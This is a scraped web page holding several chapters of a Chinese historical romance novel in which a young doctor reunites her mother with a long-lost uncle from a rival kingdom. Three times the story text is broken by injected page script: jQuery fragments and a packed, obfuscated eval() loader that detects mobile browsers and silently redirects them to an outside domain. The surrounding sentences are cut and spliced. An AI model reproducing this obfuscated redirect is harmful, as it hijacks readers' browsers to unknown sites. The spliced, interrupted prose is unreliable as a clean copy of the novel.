$(''.inform'').remove(); $(''#content'').append('' 捧到她面前。“我今晚就去和爹娘商量。” 林芷柔靠在他温暖的胸膛,听着他有力的心跳声,突然想到什么似的,仰起头道:“我得提前说清楚,我们林家可没什么嫁妆。”她的语气带着几分调侃,却也有一丝不易察觉的忐忑。 “我要的是你这个人。”楚星河低头凝视着她的眼睛,目光深邃而温柔,“有你在,就是最好的嫁妆。” “这话说得倒是不错。”林芷柔眨了眨眼,故作轻松地说,“我这个人确实比什么嫁妆都值钱。”她的语气中带着几分俏皮,却掩饰不住内心的甜蜜。 楚星河被她这副自信满满的模样逗笑了,眼角的笑纹让他整个人都柔和了几分,“我一定是修了十世的福分,才能遇到你。” 寒风突然袭来,楚星河立即张开衣袖,将怀中的人护得更紧。十一月的夜晚,寒气逼人,他不愿她受半点风寒。 “以后家里的事,你说了算。”他轻声说道,语气中带着宠溺。 林芷柔抬头看他,试探着问,“你就不怕别人说你?”在这个男尊女卑的时代,这样的承诺可不常见。 “有什么好怕的?”楚星河笑道,眼中满是坚定,“能娶到你这样的娘子,我高兴还来不及。” 林芷柔忍不住伸手捏了捏他的下巴,这个小动作让楚星河浑身一僵。下一刻,他的唇便覆了上来,带着几分生涩却又充满温柔。 这个吻让林芷柔心跳加速,脸颊微微发烫。她想,或许真的该成亲了,既然已经动了心,何必再委屈彼此? 于是她主动回应,这个举动反倒让楚星河措手不及。现代女性的主动,让这个古代男人一时间有些招架不住,呼吸变得急促起来。 吻毕,楚星河抱起她腾空而起。寒风呼啸,却浇不灭他体内燃烧的热度。月光下,两人的身影在屋顶间飞掠,如同一对翩翩起舞的蝴蝶。 林芷柔缩在他怀里,享受着这比现代飙车还要刺激的感觉。她暗暗想着,要是自己也会轻功就好了,就能和灰羽比比谁更快。不过现在这样也不错,能靠在他温暖的怀里,感受着他的心跳。 第一百三十九章 东吴柳掌柜 片刻后,两人重新落在仁心医馆的屋顶。萤萤立即端来一杯温水,楚星河一饮而尽,这才平复了心绪。他的目光始终没有离开林芷柔,生怕她会因为刚才的飞檐走壁而不适。 “柔柔,东吴那边有消息了。”他突然说道,语气变得严肃起来。 林芷柔立即正色,“什么时候的消息?”她的心跳突然加快,这关系到她娘的身世。 “年纪和你娘说的差不多,为人低调,很少外出。”楚星河说,“我的人已经在护送他来天玄的路上,用不了几天就能到。”他能感受到她的紧张,伸手轻轻握住了她的手。 林芷柔陷入沉思。多年未见的舅舅,仅凭年纪和姓氏恐怕难以相认。她下意识地思考着该如何确认对方的身份。得想办法找些其他证据才行。 “对了,我让你抓的鹰隼呢?”她转而问道,试图转移注意力。 “已经在路上了,一共捕获了五只小崽子,两只成鸟。”楚星河有些歉意地说,“是整个鸟窝都抓来了。”他担心地看着她,生怕这个数量不能满足她的需求。 “行,等送到就立即给我送来。”林芷柔点点头,心中已经在盘算着该如何驯养这些鹰隼。 “好。”楚星河应道。对他来说,柔柔的要求就是圣旨。他喜欢看她专注做事的样子,那种认真的神情总能让他看得入迷。 与此同时,东吴国都。 远洋商行的店面里,老板柳二正在查看账本。这个留着美髯的儒雅男子,眼睛和柳雅芝极为相似。他的手指在账本上轻轻划过,却始终无法集中精神。 三十多年前的那场变故,让他被迫离开东吴,辗转多地。如今虽已功成名就,却始终未能找到失散多年的大姐。每当夜深人静时,那些往事总会涌上心头,让他难以入眠。 最近他听说天玄云州出现了雪白的糖和烈酒,心中颇感兴趣。这些新奇的物品让他想起了小时候的大姐,她总是喜欢新奇的东西。只是事务缠身,一直抽不开身。 这些年来,他一直在寻找复位的机会。但太后蓝澜玉心机深沉,不找到致命的把柄,贸然出手只怕会引起更大的动荡。 而能让蓝澜玉一击毙命的证据,又在何处?这个问题如同一块巨石,压在他的心头。他抬头望向窗外的月光,不知道大姐是否也在看着同一轮明月。 就在这时,一个黑衣人悄无声息地出现在房间里,“主子,天玄那边传来消息,说是发现了一个和柳小姐很像的人。” 柳二猛地站起身,“当真?”他的声音有些发颤。 “据说此人在云州开了一家医馆,制作的糖霜和烈酒在当地很有名。”黑衣人低声说道。 柳二来回踱步,心中思绪万千。这么多年来,他收到过无数类似的消息,但每次都是失望而归。这一次,会不会有所不同? “准备马车,我要亲自去一趟天玄。”他最终下定决心。即便只有一线希望,他也要亲自确认。 黑衣人领命退下,留下柳二一人站在窗前。月光洒在他的脸上,映出了几分和柳雅芝相似的轮廓。他的目光投向远方,不知道这一次的相认,会不会带来新的转机。 商行的生意越做越大,柳二的心思却越发沉重。 这些年积攒的财富虽多,却始终缺一个能够独当一面的人才。他需要的不是寻常的商贾,而是能够在关键时刻扭转乾坤的人物。 站在书房的窗前,柳二望着院中的一株老梅,神色凝重。枯枝横斜,几朵零星的梅花在寒风中摇曳,仿佛在诉说着岁月的沧桑。 要对付蓝澜玉,必须一击即中。若无十足的把握,他宁可再等。这个念头在他脑海中盘旋,如同挥之不去的阴霾。 “老爷,四安商行的掌柜孔福生求见。”管家的声音从门外传来,打断了他的思绪。 柳二微微蹙眉,四安商行虽在东吴也算小有名气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701905|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但与他向来没有往来,这突然登门,倒是有些意思。 “让他在前厅稍候。”柳二转身,整理了一下衣袍。 前厅里,孔福生正焦躁地来回踱步。听到脚步声,他连忙停下,脸上堆满笑容:“柳老板,久仰大名!” 柳二不动声色地打量着眼前这个中年男子。孔福生身材微胖,一身绸缎长衫,显得富贵,但眼神闪烁,总给人一种不踏实的感觉。 “孔掌柜亲自登门,所为何事?”柳二在主位坐下,语气平淡。 孔福生搓了搓手,压低声音道:“是这样的,小人最近得到一个消息。天玄那边,除了蜜糖和烈酒,最近又出了香油和菜油,都是云州出产的好东西。” “哦?”柳二露出感兴趣的神色,“详细说说。” “这香油和菜油的品质极好,西陵的商人都在抢着要货。”孔福生说着,不自觉地往前凑了凑,“真遗憾没有通关文书,只能在云州收购。听说柳老板打算去云州,不知可否结伴同行?” 柳二端起茶盏,慢慢品了一口。茶香袅袅,却掩不住他心中的警惕。这孔福生,看似为了生意而来,却总给人一种别有用心的感觉。 不过,去云州本就是他的计划。听说那里出现了飞火连珠弓,若能弄到一批,对他的大计必有助益。 “三天之后出发怎么样?”柳二放下茶盏,淡淡道。 孔福生很是高兴,连忙应道:“好!那就辰时一刻,城门口相见。” 送走孔福生后,管家神色凝重地走了进来:“老爷,此人来意不明,要不要推迟行程?” “不必。”柳二眼中寒光一闪,“若他真有什么不轨之心,那就让他永远留在天玄好了。去准备一下,这次除了常规的货物,多带些防身的东西。” 管家默默退下,心中却难掩忧虑。最近边境不太平,听说有不少商队遭到劫掠,这次出行确实要格外小心。 第一百四十章 云州之行 柳二独自坐在书房中,面前摊开着一张地图。烛光摇曳,在他脸上投下明暗不定的阴影。 云州距离东吴有十日路程,途中要经过三个重要关卡。以往走这条路,都是打点好了关系,但这次不同。孔福生的出现让他感觉到一丝不安,仿佛有什么阴谋正在暗中酝酿。 “来人。”柳二突然开口。 “老爷。”门外守候的下人立刻应声。 “去查一查孔福生最近的动向,特别是他与谁来往密切。” “是。” 柳二站起身,走到窗前。月光如水,洒在院中的老梅上,显得格外清冷。这株老梅是他刚接手商行时种下的,十年过去,枝干愈发苍劲。 就像他这些年的经历,在风雨中不断成长,变得更加坚韧。 第二天一早,下人就带来了消息。 “老爷,查到孔福生最近经常出入城南的一家酒楼,似乎在与人密会。” “城南?”柳二眸光一闪,“可查到是什么人?” “没能查清楚,但有人说见过一个穿青衣的年轻人。” 柳二若有所思。城南那片区域,向来是蓝澜玉的地盘。难道这孔福生是蓝澜玉派来的? 想到这里,他不禁冷笑。如果真是这样,那这次云州之行,恐怕就不只是做生意这么简单了。 接下来的两天,柳二开始暗中布置。他调集了一批精锐护卫,全都是这些年精心培养的死士。同时,他还让人准备了大量的干粮和药物,以防不时之需。 第三天清晨,天还未亮,柳二就已经站在院中。晨露打湿了他的衣袍,但他浑然不觉。 “老爷,马车都准备好了。”管家低声禀报。 柳二点点头:“让人把那批特制的箭矢也带上。” “已经装好了,就在第三辆车上。” 柳二满意地点头。这批箭矢是他花重金从西陵购得,据说淬了剧毒,一旦中箭,片刻就会毙命。 天色渐亮,城门口已经**了不少商队。孔福生早已等在那里,见到柳二来了,连忙迎上前。 “姚老板,您来得真早。” 柳二笑了笑:“早些出发,路上也好赶路。” 孔福生连连点头,但柳二注意到,他的眼神不时往城门外瞟,似乎在等什么人。 商队缓缓出城,向西而行。柳二坐在马车里,掀开帘子看着渐渐远去的城墙。不知为何,他总觉得这次出行,会遇到一些意想不到的事情。 但无论如何,他都已经准备好了。这十年来,他一直在等待一个机会,一个能够彻底改变局面的机会。 或许,这次云州之行,就是那个转机。 林芷柔坐在诊室里,她的目光不时瞥向门口,等待着那个可能到来的人。昨楚楚星河告诉她的话还回响在耳边:“明日会有一个留着长胡子的男人来看诊,他很可能就是你要等的人。” 想到这里,她的心跳不由自主地加快了几分。三十年了,她的母亲和舅舅分离了整整三十年。这漫长的岁月里,发生了太多事情,改变了太多人的命运。 她的手指有一下没一下地敲打着桌面。窗外的阳光透过雕花木窗照进来,在她面前的病历本上投下斑驳的光影。她低头翻看着今日的记录,已经诊治了十几个病人。 诊室里弥漫着淡淡的药香,各色药材的气味混杂在一起,形成独特的中药铺气息。墙边的药柜上整齐地摆放着各色瓶瓶罐罐,每个都贴着标签,一丝不苟。 “下一位。”她头也不抬地说道,声音里带着些许疲惫。 脚步声由远及近,在她面前停下。一阵衣料摩擦的声音传来,似乎有人在整理衣冠。 “请坐。”她习惯性地开口,手中的毛笔蘸了蘸墨,“姓名、年龄、籍贯,哪里不舒服?” 对面却传来一声轻咳,随后是一个温和儒雅的男声:“看个病还要回答问题么?”声音里透着几分疑惑。 林芷柔这才抬起头,映入眼帘的是一个衣着考究的中年男子。林芷柔的目光立刻被那人胸前垂落的乌黑长须吸引。那人身着锦缎长衫,举手投足间透着一股贵气,但走路时右腿似乎有些不便,每走一步都会微微停顿。 他身后站着一个管家模样的人,正一好奇地打量着诊室。她的目光在中年男子脸上停留了片刻,尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701906|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那双眼睛,竟与自己娘亲有几分相似。这个发现让她心头微微一颤。 “方便日后查阅。”她语气平静,手指不自觉地捏紧了毛笔,“若是不愿说也无妨。” 中年男子似乎察觉到了什么,目光在她脸上停留了几秒。“你们先出去。”他挥退了管家和随从,这才在椅子上坐下,“柳二,东吴人士。” 他的声音忽然柔和了许多,继续道:“腿疼,时不时地疼,也找不出个缘由。有时半夜疼得睡不着觉,白日里走路也不太利索。” 林芷柔心头一动。柳二?这个名字让她想起了娘亲曾经提到过的舅舅柳芝黄。她强压下内心的波动,保持着专业的态度。 “请伸手。”她指了指案几上的脉枕,声音有些干涩。 柳二依言将手放上去。林芷柔的手指轻轻搭上他的脉搏,不过片刻便已了然。脉象沉滞,时有涩象,确实与痛风的症状相符。 “先生年轻时可是住在潮湿之地?”她一边记录一边问道,“且喜饮酒,嗜食肉食?” 柳二眼中满是诧异,身子不自觉地坐直了些:“林大夫如何知晓?” “这是痛风。”林芷柔解释道,手指轻轻摩挲着桌面,“与体质、饮食、居住环境都有关系。湿邪入体,加上饮食不节,便会引发此症。尤其是在天气变化时,症状会更加明显。” 她看着柳二若有所思的样子,继续道:“需要针灸治疗,今日一次,三日后再来。待会我给您开些药,疼时服用。平日里要注意饮食,少食肥甘厚味。” “好。”柳二点头,眼中带着几分赞赏,“没想到林大夫年纪轻轻,医术却如此精湛。” 林芷柔领着他进了内室,这里摆放着一张干净的竹床。阳光从纱窗透进来,将整个房间映照得明亮温暖。 “请卷起裤腿。”她说着,转身去取玉针。 针盒打开的声音在安静的房间里格外清晰。林芷柔仔细地挑选着玉针,每一根都要检查针尖是否锋利。 她开始施针,每一针下去,都精准地找到穴位。柳二能感觉到一阵阵酸麻感在腿上蔓延,但并不难受,反而有种说不出的舒服。 第一百四十一章 回答一个问题 “大姐!”正在这时,林巧巧从外面进来,好奇地看着针灸过程。她穿着一身素色衣裙,头上扎着两个小辫子,显得天真活泼。 “来得正好。”林芷柔对妹妹说,“看仔细了,这些穴位都要记住。足三里、阳陵泉、委中...” 林巧巧认真地点头,目不转睛地盯着姐姐的手法。她时不时还会问一些问题,显示出对医术的浓厚兴趣。 半个时辰后,林芷柔让林巧巧练习收针。小姑娘手法利索,动作轻柔,一会儿就将玉针收拾妥当。 “做得不错。”林芷柔笑着摸了摸妹妹的头,“去后院把针消毒了吧。” 林巧巧开心地端着针盘离开。柳二看着这对姐妹的互动,眼光不由得柔和了起来,似乎想起了什么往事。 “诊金如何算?”他站起身,整理着衣袖问道。 林芷柔看着他,忽然露出一个意味深长的笑容:“我有一个问题,若先生能答上来,便免了诊金。” 柳二挑眉:“哦?什么问题?”他的语气中带着几分好奇。 诊室里突然安静下来,林芷柔深吸一口气,心跳不知为何突然加快。她能听见自己的心跳声,砰砰作响。 “先生可还记得一只叫萌萌的鹦鹉?”她的声音很轻,却在安静的诊室里格外清晰。 这句话如同惊雷,在柳二耳边炸响。他的瞳孔猛地收缩,脸上的表情瞬间凝固。手中的茶杯差点掉在地上,茶水溅出几滴,在地上留下深色的印记。 记忆如潮水般涌来,那只聒噪的鹦鹉,被迫分离的姐姐...一切都仿佛就在昨日。他的手微微颤抖,眼神中闪过复杂的情绪。 诊室里的气氛好似完全改变。时间仿佛在这一刻静止,两人都沉浸在各自的思绪中。 柳二从仁心医馆走出来时,心绪难平。 他站在医馆门前,目光落在远处的梧桐树上,树枝光秃秃的,和记忆中那棵开满梅花的树影重叠。 “主子,您怎么了?”管家见他驻足不前,低声询问。 柳二回过神来,抬手揉了揉太阳穴:“没事,只是有些累了。” 他们沿着青石板路往客栈走去。路上行人匆匆,马车辚辚,一派繁华景象。可柳二的心思早已不在眼前,那个年轻大夫的问话像一根刺,深深扎在他心里。 为何会问起萌萌?那只鹦鹉的事,除了大姐,再无人知晓。 客栈内,柳二坐在窗边的软榻上,手指无意识地敲打着扶手。 “主子,要不要先用些茶点?”管家端来一盏热茶,小心翼翼地放在案几上。 柳二摆摆手:“你先说说,今日那位林大夫,可有什么异常之处?” 管家沉吟片刻:“属下觉得,那位林大夫的医术确实了得,可举手投足间,总觉得不像是寻常大夫。” “哦?何以见得?” “她给您把脉时的手法,更像是...”管家压低声音,“宫里的太医。” 柳二眸光一闪,他何尝没有察觉。那位林大夫虽然年轻,可举手投足间透着一股难以掩饰的贵气。寻常大夫家的女子,绝不会有这样的气度。 “你可还记得萌萌的事?”柳二突然问道。 管家神色一凛:“记得。那是三十五年前的事了。” 三十五年前... 柳二闭上眼睛,记忆如潮水般涌来。他四岁那年,父皇赏赐了一只通体碧绿的鹦鹉。他不喜欢养这些小东西,就送给了最疼爱他的大姐。 萌萌很聪明,学什么都快。它最喜欢停在御花园的梅花树上,对着来往的宫人叽叽喳喳。大姐常说,这鸟儿比她还要调皮。 可好景不长。 那年冬天,大姐突然被指认通敌叛国。父皇震怒,将她打入天牢。萌萌像是知道什么,在笼中绝食,直到咽下最后一口气。 他抱着冰冷的小家伙哭了很久,用黄金打造的小匣子将它安葬在梅花树下。从那以后,他再也不敢养任何宠物。 “主子,这件事除了大公主,无人知晓。”管家的声音将他拉回现实,“就连当年伺候的宫人,也都...” 柳二猛地睁开眼睛:“你是说...” “会不会大公主她...”管家欲言又止。 “不可能!”柳二下意识地否认,可说完这话,他自己都觉得心虚。 大姐的尸首,是在边关找到的。当时已经暴晒多日,面目全非。他派去的人只是远远看了一眼,就被官府的人赶走了。 若是有人调换了尸首... 这个想法一旦冒出来,就再也压不下去。柳二站起身,在房中来回踱步。脚步声在安静的房间里格外清晰。 “孔福生。”他突然停下脚步,“这个人很可疑。” 管家会意:“是啊,他带我们来天玄,又引荐去仁心医馆,恐怕不是巧合。” “若真是大姐在背后...”柳二的声音有些发颤。 多年来的隐忍,不能功亏一篑。他深吸一口气:“不急,三日后还要去针灸,到时自会水落石出。明日若孔福生来访,就说我腿疾发作。” “主子英明!”管家眼含笑意,身子微微前倾,压低声音道,“若林公子当真与大公主有牵连,咱们的生意便可直接经由西陵运送过去了。” 柳二站在窗前,目光透过薄纱望向远处的街道。街上行人匆匆,马车辘辘,一派繁华景象。他轻轻摇了摇头,语气中带着几分无奈:“你这算盘打得倒是精。” 管家搓了搓手,脸上露出几分为难:“主子,如今形势所迫,咱们也是不得已而为之。若不是天玄与东吴尚未开展贸易往来,咱们又何必舍近求远,非要绕道西陵?” 提及东吴,柳二眸中的痛楚一闪而过。他转身走到书案前,指尖轻轻抚过案上的地图。地图上,东吴与天玄的疆界清晰可见,却仿佛隔着千山万水。当今皇帝昏庸无道,朝纲日渐衰败。那蓝澜玉仗着一己之私治国,东吴怎可能兴盛? 屋内一时陷入沉默。窗外传来几声鸟鸣,打破了这份宁静。柳二抬手揉了揉太阳穴,眉头微皱。如今万事俱备,只欠东风。若能得到天玄的飞火连珠弓,他便有把握一展宏图。可这事谈何容易?即便云陵伯手中有多余的新式连珠弓,也断不敢私相授受,那可是掉脑袋的大罪。 第一百四十二章 先针灸吧 “主子,夜深了,您该歇息了。”管家轻声提醒。 柳二回过神来,发现烛火已经燃了大半。他点点头:“你也去休息吧,明日还要早起。” 管家退出房间,轻轻带上门。 柳二在烛火中看着自己的影子,影子被拉得很长,像是要融入黑暗中。 他想起小时候,每到月圆之夜,大姐都会带他去御花园赏月。她会给他讲各种有趣的故事,还会教他认天上的星星。 那时的他,总觉得大姐无所不能。可后来,连她自己都难逃厄运。 柳二抬手摸了摸胸前的玉佩,这是大姐留给他的唯一遗物。玉质温润,上面刻着一个“安”字。 大姐常说,她要他平安喜乐,无忧无虑地长大。可事与愿违,她的离去,成了他心中永远的伤痛。 若大姐真的还活着... 柳二不敢再想下去。这些年,他见过太多虚假的希望。每一次期待,换来的都是更深的失望。 可这一次,为什么会有一种不一样的感觉? 那个林大夫,她问起萌萌时的神情,那双眼睛里闪过的光芒,还有她说话时微微颤抖的声音... 一切都那么熟悉,又那么陌生。 他走到床边,从枕下摸出一个锦囊。里面装着一张泛黄的画像,是大姐年轻时的模样。画像上的人眉眼温柔,嘴角带笑,和记忆中的容颜一模一样。 柳二轻轻抚摸着画像,仿佛能感受到大姐的体温。 若你真的还活着,为何要隐藏身份?为何要用这种方式试探? 还是说,这一切都只是他的一厢情愿? 窗外的月光洒在画像上,柳二的眼眶有些发热。他小心翼翼地将画像放回锦囊,塞回枕下。 无论真相如何,他都要稳住心神,一步一步查清楚。这些年的等待和隐忍,不能在最后功亏一篑。 第三天一早, “主子,时候不早了,咱们还是先去仁心医馆吧。”管家在门口轻声提醒道。 柳二点头,整理了一下衣袍,随管家一同前往医馆。他们没有急着排队,而是站在门口瞧着。柳二的目光不时落在林芷柔身上,想要看出些端倪来。 这三日里,他们打听遍了林芷柔的底细,却未发现她与东吴有任何牵连。更令人费解的是,夜里管家几次前去探查,都被一只巨狼发现。那狼通体黝黑,眼中泛着幽光,每每出现都让人心惊。可白日里,却从未见过那狼的踪影。 医馆内人来人往,林芷柔正在为一位老妇人诊脉。她神情专注,动作轻柔,举手投足间透着一股说不出的优雅。这让柳二想起了多年前的往事,那时大姐也是这般温柔。 正当柳二沉思之际,一位中年妇人从后院走出。那妇人身着素雅长裙,面带温和笑意,与林芷柔说了几句话便转身离去。她走路时脚步轻盈,裙摆微微摆动,仿佛带着一阵清风。 柳二的心猛地一跳,呼吸都变得急促起来。那面容,那神态,与记忆中的大姐竟有七分相似!虽然岁月在她脸上留下了痕迹,但那举手投足间的优雅气度,绝不会认错。他下意识地想要追上去,却被管家拉住了。 “主子,稍安勿躁。”管家低声道,“若真是小姐,总有相见的时候。” 柳二强压下心中的激动,紧握双拳。手心已经沁出了汗,但他知道管家说得对。既然大姐就在这里,总有相见的时候。 终于轮到看诊,柳二迫不及待地将手搭在脉枕处。他的手微微发抖,心跳得厉害:“林大夫,能否重复那日的问题?” 林芷柔抬眼看他,眼神清澈见底:“先生不是说不知道鹦鹉萌萌吗?为何又问起?” “我知道,我都知道。”柳二声音微颤,眼中泛起泪光,“鹦鹉小萌是我送给大姐的,它死后,我用黄金盒子将它埋在梅花树下。那时我才十岁,大姐十五岁。” 林芷柔神色不变,继续为他把脉。她的手指轻轻搭在柳二的脉搏上,感受着那急促的跳动:“既然知道,为何不早说?” “是我太过谨慎。”柳二的眼眶微微泛红,声音有些哽咽,“我能见到她吗?” “不急,先做针灸。”林芷柔拿出玉针,动作娴熟地准备着,“我娘很好,若不是我与云陵伯府世子定亲,她也不会说出身世。” “你娘?”柳二在震惊之余,眼中泪光闪动。原来大姐不仅平安,还有了这样出色的女儿。难怪这孩子说,只要答对问题就免去医药费。他的心中涌起无限感慨,这些年来的担忧和思念在这一刻都化作了欣慰。 “是,我娘。”林芷柔一边施针,一边道,“知道她安好,你且静心,针灸完便能相见。” 柳二深吸一口气,强迫自己平静下来。他躺在诊床上,感受着玉针刺入穴位时的微微刺痛。这点痛楚与多年来的思念之苦相比,实在不值一提。他在心中不断默念:针灸结束后就能见到大姐了。 医馆内传来病人的谈话声,偶尔还有几声咳嗽。这一切都显得如此真实,让柳二不敢相信自己即将见到阔别多年的姐姐。 管家站在一旁,看着主子脸上流露出的复杂情绪,心中也不禁感慨。这些年来,主子为了寻找公主,走遍了大江南北。如今终于有了消息,却是以这样的方式相遇。 林芷柔的手法极其娴熟,每一针都准确地落在穴位上。她时不时观察柳二的反应,确保针灸的效果。屋内安静得只能听见轻微的呼吸声,时间仿佛在这一刻静止。 林芷柔收针的动作轻柔,纤长的手指在玉针上轻轻一弹,仔细观察着针尾的颤动频率。窗外的阳光透过纱帘洒进来,在她白皙的手背上投下斑驳的光影。 诊室内弥漫着淡淡的药香,混合着清晨特有的清新空气。柳二静静地躺在诊床上,任由这位年轻的大夫为自己施针。他的目光时不时瞥向门口,眼底有着显而易见的紧张。 “柔柔,你舅舅的腿......”管家站在一旁,压低了声音问道。他的眉头微皱,眼中带着几分担忧。 “不用担心。”林芷柔一边收拾玉针,一边轻声回答,“只是痛风加旧伤复发,配合几次针灸和药物调理就能痊愈。”她的声音温和而笃定,带着医者特有的沉稳。 第一百四十三章 相认 收好最后一根玉针,林芷柔抬头看了眼躺在诊床上的柳二。这个倔强的舅舅,从踏入诊室开始就一直紧绷着身体。他的目光闪烁,似乎在极力克制着什么情绪。 “您先休息一会儿。”林芷柔对柳二说道,“针灸刚结束,不要急着起身。” 柳二点点头,眼神中带着几分复杂。他张了张嘴,似乎想说什么,却又咽了回去。 林芷柔转身走出诊室,脚步轻快地来到隔壁房间。推开门的瞬间,一股淡淡的茶香飘了出来。柳雅芝正坐在窗边的藤椅上,双手紧握着茶杯,目光失神地望着窗外。 “娘。”林芷柔轻声唤道。 柳雅芝回过神来,急切地问道:“柔柔,真的是他吗?”她的声音微微发颤,眼中已经蓄满了泪水。 “千真万确。”林芷柔走到母亲身边,握住她微凉的手,“我问过他小时候的事,每一个细节都对得上。而且......”她顿了顿,“他还记得您和他小时候养的那只叫萌萌的鹦鹉。” 柳雅芝猛地抬头,泪水终于夺眶而出。那只鹦鹉是她和弟弟最珍贵的回忆,除了至亲之人,没有人会知道这个细节。 “他还好吗?”柳雅芝颤抖着声音问道。 “身体有些旧伤,但都不要紧。”林芷柔安慰道,“娘,他在等你。” 柳雅芝站起身,深吸一口气平复情绪。她整理了一下衣襟,用手帕擦去眼泪,努力让自己看起来不那么狼狈。 “我陪您过去。”林芷柔扶着母亲的手臂,生怕她因为激动而站不稳。 走廊很短,但对柳雅芝来说,这短短的几步却仿佛走了一个世纪那么长。每一步都让她的心跳加快几分,手心渐渐沁出汗水。 诊室内,柳二仍然躺在那里,听到脚步声传来,他以为是林芷柔回来查看。 “你还记得萌萌最爱说的那句话吗?”一个熟悉的声音在门口响起。 这个声音让柳二浑身一震,他猛地转头,看到一张朝思暮想的面容。岁月在她脸上留下了痕迹,但那双眼睛,依然如记忆中一般温柔。 “没良心的......”他哽咽着说出这句话,这是当年萌萌最爱骂他的话,姐弟俩经常模仿,成了他们之间的暗号。 “芝黄......”柳雅芝再也控制不住情绪,几步冲到弟弟面前。 “姐......”柳二挣扎着想坐起来。 “别动!”柳雅芝连忙按住他的肩膀,“柔柔说了,针灸刚结束,先别乱动。”她的声音带着哭腔,却又充满了关切。 柳二红着眼眶点头,任由泪水滑落。他望着姐姐的脸,喃喃道:“姐,这些年你过得好吗?” “很好,有儿有女,生活也还算安稳。”柳雅芝坐在弟弟身边,轻轻抚摸着他的手,“倒是你,为什么不早点认我们?我找了你这么多年......” 柳二低下头,声音沙哑:“我怕连累你们。东吴现在局势复杂,我不想把你们卷进去。而且......”他顿了顿,“我以为你已经......” “傻弟弟。”柳雅芝打断他的话,“这些年,你一个人在东吴,一定很不容易吧?” “比起姐姐当年的遭遇,我这些都不算什么。”柳二苦笑道,“我一直以为你已经......” “过去的事就让它过去吧。”柳雅芝擦去弟弟脸上的泪水,“现在我们一家人团聚了,以后的日子还长着呢。” 柳芝黄还想说些什么,却见林芷柔和林巧巧一前一后走了进来。阳光映照着两个女孩清秀的面容。 “娘!”两个女孩齐声喊道,声音清脆悦耳。 柳雅芝原本紧绷的面容瞬间柔和下来,目光温柔地落在林芷柔身上:“柔柔,这真的是你舅舅啊。”她的声音里带着几分释然,仿佛多年的心结终于解开。 林芷柔站在门边,目光细细打量着眼前这位留着一把美髯的中年男子。他身着一袭青色长衫,举手投足间尽显儒雅之气。 “舅舅好。”她微微欠身,语气平淡。 柳芝黄看着外甥女,喉头微微发紧。之前已经有过接触,此刻再看她那张与姐姐年轻时极为相似的脸庞,心中更是激动。 “好,好,柔柔,谢谢你!”他的声音里带着几丝哽咽。 “这是巧巧,当年逃荒时柔柔带回来的孤女。”柳雅芝轻声解释道,语气中带着几分怜惜。这样的话她很少对外人说,但眼前是自己的亲弟弟,也就不必隐瞒。 “舅舅好!”林巧巧笑嘻嘻地问候,眼睛弯成了月牙,丝毫不见尴尬。她天性开朗,即便面对初次见面的长辈,也能很快打成一片。 柳芝黄连声应好。 见柳芝黄休息好了,柳雅芝便领着弟弟往后院去。林芷柔没有跟进去,她得守着医馆,以防有病患来访。其实,更多的是不想打扰大人们叙旧,毕竟有些话题,并不适合她这个晚辈在场。 后院里,林山见到柳芝黄时显得有些拘谨。这个突然出现的小舅子,举手投足间透着一股子书卷气,与他们这些庄稼人大不相同。他搓了搓粗糙的手掌,不知该如何开口。 柳芝黄却在仔细打量着这个姐夫。表面看去不过是个普通农夫,但能教出如此出色的女儿,想必内里不凡。那股子沉稳劲儿,倒是与传闻中的太傅有几分相似。 他暗自思忖:大姐离开皇宫时不过十岁,所学有限。后来东躲西藏,太傅年迈,也只教些诗词歌赋。外甥女这一身医术,定是出自姐夫家的传承。 “姐夫,柔柔的医术可是家传?”他试探着问道。 林山听了只觉莫名其妙,连连摆手:“芝黄兄弟说笑了,我们林家世代种地,哪来的医术传承?柔柔这一身本事,纯是自学。” 柳芝黄闻言一愣,随即若有所思。这外甥女,当真不简单。 午饭由林山准备,如今他已不再下地干活,专心照料一家人的饮食起居。厨房里飘出阵阵香气,都是些家常小菜,却也香气四溢。 林文昂最近过得逍遥,新婚燕尔,每日带着宁涵凤在庄子上转转,日子过得好不惬意。他们住在庄子上,但每日必回医馆吃饭,这是柳雅芝定下的规矩。 庄子上的生意蒸蒸日上,卤料远销帝都,连带着养殖场的规模也在不断扩大。周边村民纷纷效仿,养起了鸡鸭,日子渐渐好转起来。 就连林家镇的人也来送鸡鸭,虽然提心吊胆,生怕林文昂不收。毕竟当初对林家那般苛刻,如今想起来,难免心虚。 第一百四十四章 甥舅谈话 傍晚时分,夕阳的余晖洒满庭院,林文昂带着宁涵凤回到医馆。一进门就见到柳芝黄坐在堂屋里,先是一愣,随即笑着问:“姐,这就是你找到的舅舅了?” “是啊,娘已经确认过了。”林芷柔点点头,目光落在弟弟身上。这个曾经跟在自己屁股后面的小男孩,如今也已成家立业,当真是物是人非。 话音未落,宁涵凤便拉着丈夫跪了下来:“外甥(外甥媳妇)见过舅舅了。”她举止端庄,一看就是大户人家出身。 林芷柔看着这一幕,不由得暗自尴尬。早前她和巧巧见礼时确实太过随意,这下显得不如弟弟懂规矩了。不过转念一想,她本就不是个拘泥于礼数的人,也就释然了。 柳芝黄望着林文昂,语气中带着一丝追忆:“文昂,你长得很像你皇祖父。”那张年轻的面庞,与记忆中的身影渐渐重合。 “是吗?娘从未提起过。”林文昂一脸茫然,下意识看向柳雅芝。 